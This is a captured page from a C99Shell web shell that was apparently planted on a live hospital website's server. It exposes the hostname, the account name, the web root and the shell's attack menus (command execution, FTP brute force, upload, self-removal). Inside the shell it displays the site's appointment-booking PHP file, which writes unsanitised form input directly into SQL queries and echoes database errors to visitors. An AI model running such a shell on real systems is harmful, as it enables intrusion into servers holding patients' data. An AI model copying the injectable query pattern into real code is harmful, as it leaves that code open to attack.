!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/home/katebhospital/public_html/   drwxr-x---
Free 984.23 GB of 3519.75 GB (27.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     appo.php (1.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
if (isset($_POST['submit'])) {
    include 
"admin/conn.php";
    
error_reporting(0);
    
$newStartValue 1;
    
$query "ALTER TABLE appointments AUTO_INCREMENT = $newStartValue";
    
$result mysqli_query($con$query);

    
// Process form submission
    
$name $_POST['name'];
    
$email $_POST['email'];
    
$phone $_POST['phone'];
    
$department $_POST['department'];
    
$doctor_name $_POST['doctor_name'];
    
$date $_POST['date'];
    
$time $_POST['time'];
    
$appo_fa = isset($_POST['appo_fa']) ? $_POST['appo_fa'] : ""// Set it to an empty string if not provided
    
$appo_message $_POST['appo_message'];

    
$sql "INSERT INTO appointments (name, email, phone, department, doctor_name, date, time, appo_message) VALUES ('$name', '$email', '$phone', '$department', '$doctor_name', '$date', '$time', '$appo_message')";

    if (empty(
$appo_fa)) { // Check if appo_fa is empty
        
if (mysqli_query($con$sql)) {
            echo 
"<script>window.location.href = 'mail-success.php'</script>";
            exit;
        } else {
            echo 
"Error: " $sql "<br>" mysqli_error($con);
        }
    } else if (
$appo_fa === "fa") {
        if (
mysqli_query($con$sql)) {
            echo 
"<script>window.location.href = 'mail-success_fa.php'</script>";
            exit;
        } else {
            echo 
"Error: " $sql "<br>" mysqli_error($con);
        }
    }

    
mysqli_close($con);
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0036 ]--